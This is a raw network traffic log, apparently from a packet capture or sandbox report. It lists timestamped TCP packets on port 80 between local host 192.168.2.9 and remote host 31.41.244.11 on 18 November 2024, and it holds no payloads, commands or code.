Nov 18, 2024 15:18:13.907671928 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.907699108 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.944890022 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.944902897 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.944911003 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.944984913 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.944998026 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.945009947 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.945022106 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.945031881 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.945035934 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.945053101 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.945065975 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.945070028 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.945092916 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.945105076 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.945321083 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.945333958 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.945346117 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.945372105 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.945405006 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.945435047 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.945449114 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.945492983 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.946451902 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.946475029 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.946487904 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.946502924 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.946531057 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.946532011 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.946547031 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.946572065 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.946600914 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.946624994 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.946645021 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.946657896 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.946670055 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.946671009 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.946686983 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.946700096 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.946816921 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.946830034 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.946841002 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.946856976 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.946867943 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.946871996 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.946887970 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.946912050 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.947129011 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.947153091 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.947166920 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.947179079 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.947191954 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.947217941 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.947341919 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.947354078 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.947365046 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.947395086 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.947421074 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.947573900 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.947587013 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.947598934 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.947633028 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.947649956 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.947659969 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.947663069 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.947679043 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.947690964 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.947691917 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.947705984 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.947710037 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.947740078 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.947761059 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.012236118 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.012264967 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.012278080 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.012290955 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.012306929 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.012320042 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.012388945 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.012428999 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.013200045 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.013252020 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.013278008 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.013322115 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.013416052 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.013430119 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.013442993 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.013456106 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.013458967 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.013479948 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.013516903 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.020545006 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.020561934 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.020575047 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.020606041 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.020638943 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.020927906 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.020939112 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.020946980 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.020998955 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.021017075 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.021045923 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.021225929 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.021266937 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.021311045 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.021322966 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.021336079 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.021349907 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.021353006 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.021367073 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.021368980 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.021399021 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.024540901 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.024554014 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.024569035 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.024586916 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.024615049 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.024624109 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.024637938 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.024650097 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.024665117 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.024666071 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.024681091 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.024689913 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.024701118 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.024703979 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.024719000 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.024729013 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.024760962 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.062599897 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.062629938 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.062644958 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.062664032 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.062686920 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.062693119 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.062705994 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.062717915 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.062738895 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.062742949 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.062758923 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.062769890 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.062783957 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.062789917 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.062796116 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.062812090 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.062813044 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.062834024 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.062854052 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.062903881 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.062944889 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.064320087 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064332962 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064347982 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064397097 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.064431906 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064445019 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064456940 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064460039 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.064470053 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.064470053 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064486980 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064496040 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.064523935 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.064594984 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064608097 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064620972 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064636946 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064639091 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.064650059 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064662933 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064675093 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.064702988 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.064781904 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064804077 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064817905 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064824104 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.064851999 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.064882994 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.064914942 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064928055 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064939022 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064951897 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.064956903 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.064979076 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.065004110 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.065076113 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.065088987 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.065100908 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.065116882 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.065120935 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.065129995 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.065141916 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.065145969 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.065174103 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.065192938 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.129348040 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.129373074 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.129384995 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.129419088 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.129458904 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.129671097 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.129684925 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.129697084 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.129719973 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.129774094 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.130497932 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.130511045 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.130523920 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.130568027 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.130583048 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.130893946 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.130906105 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.130917072 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.130937099 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.130964994 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.137603998 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.137684107 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.137706995 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.137751102 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.137859106 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.137901068 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.137986898 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.137998104 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.138032913 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.138039112 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.138052940 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.138066053 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.138077974 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.138082027 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.138112068 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.138139963 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.138387918 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.138401985 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.138412952 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.138427973 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.138438940 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.138463020 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.138494968 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.138849020 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.138860941 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.138896942 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.138911963 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.141653061 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.141664982 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.141680002 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.141730070 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.141741037 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.141752958 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.141761065 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.141761065 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.141766071 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.141774893 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.141783953 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.141809940 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.141850948 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.141937971 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.141952991 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.141963005 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.141983986 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.142009974 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.179899931 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.179912090 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.179923058 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.179960012 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.179982901 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.180118084 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.180129051 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.180140972 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.180161953 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.180186987 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.180190086 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.180197954 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.180211067 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.180222034 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.180223942 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.180248022 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.180275917 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.180344105 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.180355072 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.180372000 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.180382967 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.180397987 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.180428982 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.180730104 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.180778027 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.181165934 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.181207895 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.181250095 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.181261063 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.181298971 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.182032108 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182044983 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182058096 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182089090 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.182099104 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182113886 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182117939 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.182128906 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182141066 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182147026 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.182163954 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.182205915 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.182225943 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182239056 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182250977 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182262897 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182270050 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.182279110 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182287931 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.182292938 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182303905 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182320118 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.182337046 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.182640076 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182661057 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182672977 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182686090 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.182709932 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.182761908 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182804108 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.182856083 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182868958 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182899952 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.182944059 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182957888 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.182985067 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.183125019 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.183137894 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.183150053 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.183165073 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.183192015 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.183224916 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.183238029 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.183249950 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.183260918 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.183264017 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.183299065 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:14.183300018 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:14.183324099 CET	49847	80	192.168.2.9	31.41.244.11
